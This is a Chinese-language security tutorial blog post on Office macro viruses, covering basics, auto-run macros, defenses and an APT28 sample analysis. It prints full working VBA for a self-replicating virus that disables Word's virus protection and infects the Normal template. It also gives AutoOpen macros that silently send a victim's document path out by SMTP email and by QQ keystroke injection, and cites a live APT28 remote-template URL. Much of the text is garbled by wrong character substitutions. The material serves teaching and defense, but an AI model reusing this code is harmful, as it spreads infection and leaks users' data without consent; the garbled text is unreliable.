[网络安全自学篇] 六十九.宏病毒之入门基础、防护措施、自发邮件及APT28样本分析

这是做者的网络安全自学教程系列,主要是关于安全工具和实践操做的在线笔记,特分享出来与博友们学习,但愿您们喜欢,一块儿进步。前文分享了利用永恒之蓝漏洞加载WannaCry勒索病毒,实现对Win7文件加密的过程,并讲解WannaCry勒索病毒的原理。这篇文章将讲解宏病毒相关知识,它仍然活跃于各个APT攻击样本中,本文包括宏病毒基础原理、防护措施、自发邮件及APT28样本分析。基础性文章,但愿对您有所帮助。php

做者做为网络安全的小白,分享一些自学基础教程给你们,主要是关于安全工具和实践操做的在线笔记,但愿您们喜欢。同时,更但愿您能与我一块儿操做和进步,后续将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是文章对您有帮助,将是我创做的最大动力,点赞、评论、私聊都可,一块儿加油喔~html

PS:本文参考了github、安全网站和参考文献中的文章(详见参考文献),并结合本身的经验和实践进行撰写,也推荐你们阅读参考文献。git

做者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其余工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
漏洞利用:https://github.com/eastmountyxz/Macro-Virusgithub


声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。web

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客经常使用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和经常使用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析正则表达式


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包算法



一.什么是宏

1.基础概念

宏(Macro)是一种批量处理的称谓,是指能组织到一块儿做为独立的命令使用的一系列Word命令,能够实现任务执行的自动化,简化平常的工做。Microsoft Office使用Visual Basic for Applications(VBA)进行宏的编写。shell

你们可能接触到的宏并很少,但若是常用Word文档时,可能会遇到宏,好比国家天然科学基金申请,或者做者以前分享的宏技巧。文章以下:
[Office] WPS Excel经过添加宏实现多张表格合并
[黑科技] WPS经过VB宏函数实现自编号功能数据库

注意,在Office中能够直接使用Word的宏函数,而WPS须要安装相关的软件后才能使用。打开WPS Word以下图所示,宏是不能使用的。编程

在这里插入图片描述


2.安装配置

这时须要下载VBA for WPS并安装才能使用。下载安装以下图所示:
下载地址:https://github.com/eastmountyxz/Macro-Virus

在这里插入图片描述

安装完后能够设置宏函数,以下图所示:

在这里插入图片描述

点击"宏",而后"建立"宏函数,以下图所示,取名为test。

在这里插入图片描述

建立后以下图所示,能够看到是VB代码进行编写的。

在这里插入图片描述

代码示例以下:

Sub test()
'
' test Macro
'
    Dim sLineNum3 As String     '行号(文字)
    Dim nLineNum                '行号(数值)
    Dim i As Long
 
    Title = "输入编号信息"
    a1 = "请输入总编号开始号:"
    b1 = InputBox(a1, Title)
End Sub

WPS能够保存为带宏函数的格式,以下图所示。

在这里插入图片描述

而后运行宏函数以下图所示,点击"运行"便可,以下图所示。

在这里插入图片描述

运行结果以下图所示,弹出界面输入:

在这里插入图片描述


3.录制新宏案例

第一步,下降宏的安全性。
宏的默认安全性很是高,有时会致使宏程序不会自动执行,咱们能够修改下降其安全性。

在这里插入图片描述

第二步,设置字体隐藏。
假设咱们如今有这样一个需求,要将文档中的内容隐藏。怎么作呢?传统方法是全选文字,而后设置字体隐藏,以下图所示。

在这里插入图片描述

若是须要查看文字再进行还原,这些小技巧每每会隐藏在病毒或木马中。那么,咱们是否能够将这隐藏和还原两个操做用两个快捷键关联起来呢?下次再进行相关操做时,会变得更加简洁。

在这里插入图片描述

第三步,点击录制新宏。

在这里插入图片描述

第四步,将刚才的操做执行一遍,全选文字而后隐藏,而后点击中止录制。

在这里插入图片描述

此时,能够看到咱们新建立的宏MacroHide。

在这里插入图片描述

第五步,再录制一个显示的新宏MacroShow。

在这里插入图片描述

显示以后咱们中止录制。

在这里插入图片描述

第六步,绑定快捷键。
若是是在Office中,能够直接选择对应的快捷键,但WPS设置不一样。

在这里插入图片描述

WPS设置以下:点击“文件”->“选项”,在“选项”界面最左侧找到并点击“自定义功能区”,选择“自定义”按钮。

在这里插入图片描述

设置快捷键以下:

  • MacroHide对应Ctrl+Shift+H
  • MacroShow对应Ctrl+Shift+S

在这里插入图片描述

此时,功能已经实现,当咱们按下“Ctrl+Shift+H”时,文字隐藏,按下“Ctrl+Shift+S”时文字显示。

在这里插入图片描述

固然宏能够更加复杂,接下来咱们将介绍。同时,怎么去查看宏代码呢?经过VB编辑器可以查看宏代码,以下图所示。

在这里插入图片描述

在Normal下的模块=>NewMacros有咱们刚刚编辑的两个宏。

在这里插入图片描述

该代码的核心内容以下:

  • Selection.WholeStory 全选功能
  • Selection.Font 字体设置
  • Hidden = 1 隐藏属性设置为True
Sub MacroHide()
'
' MacroHide Macro
' 宏由 xiuzhang 录制,时间: 2020/04/20
'
    Selection.WholeStory
    With Selection.Font
        .Underline = wdUnderlineNone
        .EmphasisMark = wdEmphasisMarkNone
        .Hidden = 0
        .Shadow = 0
        .Outline = 0
        .Emboss = 0
        .Engrave = 0
        .Scaling = 100
        .Scaling = 100
        .Hidden = 1
        .Hidden = 1
    End With
End Sub


二.宏病毒

1.宏病毒基础

那么,什么又是宏病毒呢?
宏病毒是一种寄存在文档或模板的宏中的计算机病毒,存在于数据文件或模板中(字处理文档、数据表格、数据库、演示文档等),使用宏语言编写,利用宏语言的功能将本身寄生到其余数据文档。

最先的时候,人们认为数据文档是不可能带有病毒的,由于数据文档不包含指令,直到宏病毒出现才改变你们的见解。当咱们打开这样的文档,其中的宏就会被执行,因而宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。今后之后,全部自动保存的文档都会“感染”上这种宏病毒,并且若是其余用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。


那么,宏病毒又如何得到这些控制权呢?
只有拿到控制前以后宏病毒才能进行传播。它和Office的特性相关,Office支持一些自动执行的宏,若是将病毒代码放到自动执行的宏中,Word打开时会给病毒传播创造条件。

利用自动执行宏将病毒代码写在宏汇中,因为这些宏会自动执行,从而获取控制权。

(1) WORD

  • AutoOpen:打开Word文档
  • AutoClose:关闭Word文档
  • AutoExec:打开Word程序(Word文档和Word程序区别)
  • AutoExit:退出Word程序
  • AutoNew:新建宏

(2) EXCEL

  • Auto_Open
  • Auto_Close
  • Auto_Activate
  • Auto_Deactivate

(3) Office97/2000

  • Document_Open
  • Document_Close
  • Document_New


2.自动宏案例

咱们经过VB编辑器增长宏代码,定义了五个自动宏。

  • 第一个是新建文件:AutoNew
  • 第二个是退出程序:AutoExit
  • 第三个关闭文档:AutoClose
  • 第四个打开文档:AutoExec
  • 第五个打开程序:AutoExec

注意,程序指WPS或Office,一个程序能够打开或建立多个文档,他们存在必定区别。一样,它们的权限也有区别。

在这里插入图片描述

代码以下:

Sub AutoOpen()
  MsgBox "您好,您打开了Word文档!", 0, "宏病毒测试"
End Sub

Sub AutoExec()
  MsgBox "您好,您打开了Word程序!", 0, "宏病毒测试"
End Sub

Sub AutoNew()
  MsgBox "您好,您选择了新建文件!", 0, "宏病毒测试"
End Sub

Sub AutoExit()
  MsgBox "欢迎下次光临!", 0, "宏病毒测试"
End Sub

Sub AutoClose()
  MsgBox "下次还要来哦!", 0, "宏病毒测试"
End Sub

Sub MyFirstVBAProcedure()
    Dim NormProj
    MsgBox "欢迎光临XXXXXX安全实验室!", 0, "宏病毒测试"
    Set NormProj = NormalTemplate.VBProject
    MsgBox NormProj.Name, 0, "模块文件名"    '显示模板文件的名字
    With Assistant.NewBalloon           '调出助手
        .Icon = msoIconAlert
        .Animation = msoAnimationGetArtsy
        .Heading = "Attention,Please!"
        .Text = "Today I turn into a martian!"
        .Show
    End With
End Sub

当咱们打开Word时,会提示咱们安全警告,选择“启用宏”。

在这里插入图片描述

此时会提示一个打开Word文档的对话框,表示AutoOpen宏自启动。

在这里插入图片描述

当咱们关闭程序会提示以下对话框。

在这里插入图片描述

若是咱们想要查看宏的具体定义,能够查看定义的函数,以下图所示,也能够在工具栏中选择VB编辑器查看代码。

在这里插入图片描述

当咱们执行某个函数,会有对应的执行效果。好比弹出“宏病毒测试”对话框。

在这里插入图片描述

你可能会疑惑,为何只弹出了两个对话框呢?
由于宏包括两种类型——局部宏和全局宏。而退出Word程序和进入Word程序不是当前文档能定义的。其余三个宏没法起到做用,咱们须要将它们复制到Normal模块中才能运行。



3.宏病毒感染

在Word和其余微软Office系列办公软件中,宏分为两种。

  • 内建宏:局部宏,位于文档中,对该文档有效,如文档打开(AutoOpen)、保存、打印、关闭等
  • 全局宏:位于office模板中,为全部文档所共用,如打开Word程序(AutoExec)

宏病毒的传播路线以下:

  • 单机:单个Office文档 => Office文档模板 => 多个Office文档(文档到模块感染)
  • 网络:电子邮件居多

首先Office文档被感染病毒,当文档打开会执行自动宏,若是宏被执行,它会去检测当前模板是否被感染病毒,若是没有被感染,它会将释放自身的病毒代码。当模板被感染以后,系统中任何一个文档被打开,都会执行模板中的病毒,宏病毒进行传播。

宏病毒的感染方案就是让宏在这两类文件之间互相感染,即数据文档、文档模板。

下面是老师课程的示例图。

在这里插入图片描述

注意,宏代码是能够调试的。

在这里插入图片描述

完整代码以下:

Sub test()
    'On Error Resume Next
    Application.DisplayAlerts = wdAlertsNone
    Application.EnableCancelKey = wdCancelDisabled
    Application.DisplayStatusBar = False
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False        '以上是病毒基本的自我保护措施
    Set Doc = ActiveDocument.VBProject.VBComponents
    '取当前活动文档中工程组件集合
    Set Tmp = NormalTemplate.VBProject.VBComponents
    '取Word默认模板中工程组件集合
    Const ExportSource = "c:\jackie.sys"
    Const VirusName = "AIGTMV1"               '该字符串至关于一个病毒感染标志
    Application.VBE.ActiveVBProject.VBComponents(VirusName).Export ExportSource
                                 '将当前病毒代码导出到c:\jackie.sys文件保存
                                 
    For i = 1 To Tmp.Count
        If Tmp(i).Name = VirusName Then TmpInstalled = 1
     '检查模板是否已经被感染病毒
    Next i
    
    For j = 1 To Doc.Count
        If Doc(j).Name = VirusName Then DocInstalled = 1
                                     '检查当前活动文档是否已被感染病毒
    Next j
    If TmpInstalled = 0 Then                 '若是模板没有被感染,对其进行感染
        Tmp.Import ExportSource              '从c:\jackie.sys将病毒导入模板
        NormalTemplate.Save                  '自动保存模板,以避免引发用户怀疑
 
    End If
    If DocInstalled = 0 Then                 '若是当前活动文档没有被感染
        Doc.Import ExportSource              '从c:\jackie.sys将病毒导入当前活动文档
        ActiveDocument.SaveAs ActiveDocument.FullName '自动保存当前活动文档
    End If
    MsgBox "Word instructional macro by jackie", 0, "Word.APMP"
End Sub

宏病毒也能够经过网络进行传播,譬如电子邮件。

  • Mellisa病毒:自动往OutLook邮件用户地址簿中的前50位用户发送病毒副本
  • “叛逃者”病毒:也集成了感染Office文档的宏病毒感染功能,而且能够经过OutLook发送病毒副本

在这里插入图片描述



三.宏病毒的自我保护与防护

宏病毒的自我保护主要包括三种方法:

(1) 禁止提示信息
On Error Resume Next 若是发生错误,不弹出出错窗口,继续执行下面语句
Application.DisplayAlerts = wdAlertsNone 不弹出警告窗口
Application.DisplayStatusBar = False 不显示状态栏,以避免显示宏的运行状态
Options.VirusProtection = False 关闭病毒保护功能,运行前若是包含宏,不提示

(2) 屏蔽命令菜单,不容许查看宏

  • 经过特定宏定义
Sub ViewVBCode()
    MsgBox "Unexcpected error",16
End Sub

ViewCode:该过程和ViewVBCode函数同样,若是用户按工具栏上的小图标就会执行这个过程。

  • Disable或者删除特定菜单项
    用来使“工具—宏”菜单失效的语句
    CommandBars(“Tools”).Controls(16).Enabled = False

(3) 隐藏宏的真实病毒代码
在“自动宏”中,不包括任何感染或破坏的代码,但包含了建立、执行和删除新宏(实际进行感染和破坏的宏)的代码;将宏代码字体颜色设置成与背景同样的白色等。


宏病毒的防护措施包括:

  • 一旦发现计算机Office软件打开后弹出系统警告框,而且没法“另存为”,就表示该文件已感染宏病毒,此时不能再打开其余文件,不然病毒也会感染,应立刻关闭删除该文件。若文件重要不能删除,则需用杀毒软件全盘扫面,处理感染文件。
  • 开启禁用宏进行防止再次感染病毒。在“受信任位置”中,删除“可靠来源”列表框中的不安全来源,根据实际状况设置是否信任全部安装的加载项和模板,设置宏的安全性。

在这里插入图片描述

  • 安装杀毒软件,打全系统补丁是预防计算机病毒的基本措施,固然也适用于宏病毒,除此这些常规手段以外,宏病毒还有专门的防治措施。
  • 在线沙箱检测文档是否宏病毒。


四.案例:CDO自发邮箱

接下来咱们制做一个宏,当对方打开文档时就知道该文档在对方电脑存储的具体路径。常见方法包括:

  • 邮件组件,如CDO组件
  • 远程脚本

这里采用CDO自发邮件实现。经过Word VB编写脚本,设置文档打开时运行,利用CDO发送电子邮件将文件的路径和名字发送到指定邮箱中。步骤以下:

  1. 利用AutoOpen执行并打开文档时运行
  2. 利用WordObj.ActiveDocument获取文件信息
  3. 利用CDO实现电子邮件实现信息传递

参考文献:
宏病毒+使用CDO自动发邮件 - 良月廿七
word宏病毒经过邮件获取路径和文件名 - Braylon1002
宏的基本概念与使用 - WHU MOOC
宏&一个简单的宏病毒示例 - Erio

定义的宏函数为AutoOpen,以下图所示:

在这里插入图片描述

核心代码以下所示:

在这里插入图片描述

完整代码以下,包括获取文件夹路径、定义邮件地址、添加CDO库、设置微软服务器、CDO邮件参数设置、发送数据

Sub AutoOpen()
' AutoOpen宏
' By: CSDN Eastmount 2020-04-21
    
    ' 获取文件夹路径
    Dim WordObj As Object
    Dim Doc As Object
    Set WordObj = GetObject(, "Word.Application")
    Set Doc = WordObj.ActiveDocument
    MsgBox (Doc.Path)
    
    ' 定义邮件地址
    Const from1 = "152xxxxxxxx@163.com"
    Const to1 = "xxxxxxxxxx@qq.com"
    Const password = "xxxxxxxxxx"
    
    ' 添加CDO库
    Set CDO = CreateObject("CDO.Message")
    CDO.from = from1
    CDO.to = to1
    CDO.Subject = Doc.Name
    CDO.Textbody = Doc.Path
    
    ' 微软服务器网址
    MsgBox ("发送邮件")
    Const proxyUrl = "http://schemas.microsoft.com/cdo/configuration/"
    With CDO.Configuration.Fields
        .Item(proxyUrl & "sendusing") = 2                     '发送端口
        .Item(proxyUrl & "smtpserver") = "smtp.163.com"       'SMTP服务器地址
        .Item(proxyUrl & "smtpserverport") = 25               'SMTP服务器端口
        .Item(proxyUrl & "smtpauthenticate") = 1              '是否开启用户名密码验证
        .Item(proxyUrl & "sendusername") = from1              '发送方邮箱名称
        .Item(proxyUrl & "sendpassword") = password           '发送方邮箱密码
        .Item(proxyUrl & "smtpusessl") = True                 '是否使用ssl协议
        .Item(proxyUrl & "smtpconnectiontimeout") = 60        '时延
        .Update
    End With
    
    ' 发送数据
    CDO.Send
    Set CDO = Nothing
    MsgBox ("成功!")
End Sub

当test04.doc文件打开时,它会自动运行,其结果以下图所示:

在这里插入图片描述

接着对话框提示发送邮件。

在这里插入图片描述

最终邮件经过宏病毒发送成功。

在这里插入图片描述

下图可见,成功将Word稳定打开的路径地址发送到了目标邮箱,若是宏病毒再获取更详细的信息或文件,是否也能发送到指定邮箱呢?这样的恶意代码仍须要重视。

在这里插入图片描述


注意事项:
(1) 若是在撰写宏病毒过程当中,出现“缺乏:列表分隔符或)”,咱们须要进行调试及修改。

在这里插入图片描述

(2) 若是提示“邮件没法发送到SMTP服务器,传输错误代码为 0x80040217。服务器响应为 not available”,则须要开启STMP受权。

在这里插入图片描述

CDO发送邮件时须要开启邮件的stmp受权代理,网易邮箱163设置方法以下图所示:

在这里插入图片描述

若是腾讯邮箱要开启SMTP/POP3服务,则将生成的受权码看成邮箱登录密码来进行邮件发送,注意设置的是受权码而不是密码。

在这里插入图片描述

在这里插入图片描述

(3) 若是wps报429 ActiveX不能建立对象 ,则解决方法参考:http://www.javashuo.com/article/p-pgupeajk-ep.html



五.案例:QQ发送信息

接着经过QQ发送信息来制做宏病毒,并获取对方电脑存储的具体路径。具体流程:

  • 获取文件路径
  • 将路径复制至剪贴板
  • 发送QQ消息
  • 经过sendkeys输入ctrl+V发送粘贴内容

注意,腾讯WebQQ中止运营了,且很差获取QQ的聊天窗口句柄,才采用了该方法。该部分主要参考师弟的代码,再次感谢。

完整宏代码以下:

Sub AutoOpen()
    ' 获取文件路径
    DocPath = ActiveDocument.Path
    DocName = ActiveDocument.Name
    Text1 = "DocPath:" + DocPath
    Text2 = "DocName:" + DocName
    Result = Text1 + Text2
    MsgBox (Result)
    
    ' 将内容送入剪贴板
    With CreateObject("new:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
        .SetText Result
        .PutInClipboard
    End With
    
    ' 发送QQ消息
    Shell "cmd /c start tencent://Message/?Uin=QQ号码&weName=qzone.qq.com & Menu=yes"
    
    Dim t As Single
    t = Timer
    Do
      DoEvents
    Loop While Timer - t < 2    '搁置2s
    
    ' 粘贴
    SendKeys "^v"
    SendKeys "{ENTER}"
    SendKeys "{ENTER}"
    SendKeys "^{ENTER}"
End Sub

运行代码以下,获取了Word文档的路径。

在这里插入图片描述

此时内容复制至剪贴板,若是输入Ctrl+V,输出内容以下:

在这里插入图片描述

经过下面的命令能够直接打开某个QQ的窗口。

  • cmd /c start tencent://Message/?Uin=QQ号码&weName=qzone.qq.com & Menu=yes

在这里插入图片描述

最终当咱们打开Word文档,它会执行自动代码,并向某个QQ号自动发送信息,以下图所示:

在这里插入图片描述



六.APT攻击中的宏病毒

最后分享先知社区关于APT28样本的宏病毒分析,和做者的这篇文章基础知识很是相关。若是该部分有不当的地方,能够提醒我删除,谢谢。
参考文献:APT28样本分析之宏病毒分析

APT28组织是一个与ELS有关的高级攻击团伙,本次分析的是该团伙使用的宏病毒,全部资料均来自互联网。好比,2018年10月到11月OZ外交处理事务组织的鱼叉邮件(paloalto),2017年7月到8月酒店行业的鱼叉邮件(Fireeye),2017年10月MG研究机构的鱼叉邮件(cisco)。

1.OZ鱼叉邮件

  • 文件名称:crash list(Lion Air Boeing 737).docx
  • SHA-256 2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f
  • 建立时间:2018:09:11 04:22:00Z
  • 文件大小:32.9 KB (33,775 字节)
  • 基本方法
    打开文档会进行远程模板加载,使用这种攻击首先初始文件不会有明显的恶意代码,而且能够收集受害者的IP,一旦攻击成功,就关闭服务器,难以追踪。

首先,远程模板的位置 http://188.241.58.170/live/owa/office.dotm。注意,在分析恶意样本时,千万别访问这些远程连接或文件,极可能中病毒或成为肉鸡。

在这里插入图片描述

经过宏代码分析,发现其没有进行混淆工做,可是此次使用AutoClose,只有文档关闭的时候,恶意代码才会执行。从而会绕过一些不关闭文档的沙箱检测。

在这里插入图片描述

这次宏文件一共会建立两个文件,以下所示,分别是从 UserForm1.Label2.Caption 和 UserForm1.Label1.Caption 中提取出来使用base64编码的恶意文件。

  • Environ(“APPDATA”) “\MSDN” “~msdn”
  • Environ(“TEMP”) “~temp.docm”

在这里插入图片描述

选择UserForm1窗体右键保存后,能够看到里面通过base64编码的恶意文件。

在这里插入图片描述

在这里插入图片描述

将msdn和temp.docm写入后开始加载temp.docm,再运行temp.docm的Module1.Proc1。

在这里插入图片描述

最后能够看到经过shell运行释放exe。

在这里插入图片描述



2.酒店行业鱼叉邮件

  • 文件名称:Hotel_Reservation_Form.doc
  • SHA-256 a4a455db9f297e2b9fe99d63c9d31e827efb2cda65be445625fa64f4fce7f797
  • 建立时间:2017:07:03 05:33:00Z
  • 文件大小:76.7 KB (78,600 字节)
  • 基本方法
    针对特定的攻击目标对内容进行了定制化处理,样本使用WMI调用
    rundll32.exe启动。

首先,样本运行完以下,能够看到针对特定的攻击目标对内容进行了特定的定制化。

在这里插入图片描述

分析宏代码,发现宏代码是加密过的。

在这里插入图片描述

解密能够看到三个函数,攻击者并无作太多的混淆,而是将关键的PE文件BASE64编码放到XML文件中,包括:

  • AutoOpen()
  • DecodeBase64(base64)
  • Execute()

获取指定xml节点的信息。

在这里插入图片描述

最后在docProps/app.xml中发现了这个base64编码的文本。

在这里插入图片描述

以后将base64文本文件解码。

在这里插入图片描述

解密后为一个PE文件。

在这里插入图片描述

发现将样本放到APPDATA环境变量的目录下,文件名为user.dat,最后使用了WMI调用rundll32.exe启动。

在这里插入图片描述



3.研究机构鱼叉邮件

  • 文件名称:Conference_on_Cyber_Conflict.doc
  • SHA-256 e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae
  • 建立时间:2017:10:03 01:36:00
  • 文件大小:333 KB (341,504 字节)
  • 基本方法
    针对特定的攻击目标对内容进行了定制化处理,样本base64解码,设置bat脚本并启动。

样本运行完以下,能够看到针对特定的攻击目标对内容进行了特定的定制化。

在这里插入图片描述

对宏代码进行了加密,解密能够看到三个函数,攻击者并无作太多的混淆,而是将关键的可执行文件分散放编码放到文件属性中。

  • AutoOpen()
  • DecodeBase64(base64)
  • Execute()

将base64数据放到了word的内置属性中。

在这里插入图片描述

合并获取的编码值并解码。

在这里插入图片描述

最后设置bat脚本,而后启动

在这里插入图片描述

在这里插入图片描述



七.总结

写到这里,这篇宏病毒基础性文章就介绍结束了,包括入门基础、防护措施、自发邮件及APT28样本分析,但愿对您有所帮助。接下来做者还会继续深刻分析宏病毒,并结合实例和防护进行讲解,也推荐你们阅读参考文献大佬们的文章。继续加油~

这篇文章中若是存在一些不足,还请海涵。做者做为网络安全初学者的慢慢成长路吧!但愿将来能更透彻撰写相关文章。同时很是感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知本身很菜,得努力前行。

欢迎你们讨论,是否以为这系列文章帮助到您!任何建议均可以评论告知读者,共勉。

(By:Eastmount 2020-04-21 晚上11点写于贵阳 http://blog.csdn.net/eastmount/ )


参考文献:
[1] 实验室小伙伴们的分享、《软件安全》课程实验(详见网易云课程WHU)
[2] 宏的基本概念与使用 - WHU MOOC
[3] 宏病毒+使用CDO自动发邮件 - 良月廿七
[4] word宏病毒经过邮件获取路径和文件名 - Braylon1002
[5] 宏&一个简单的宏病毒示例 - Erio
[6] PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors
[7] APT28样本分析之宏病毒分析 - 先知社区
[8] 宏病毒研究2——实战研究篇 - i春秋老师 icq5f7a075d
[9] [Office] WPS Excel经过添加宏实现多张表格合并
[10] [黑科技] WPS经过VB宏函数实现自编号功能
[11] https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
[12] https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
[13] https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html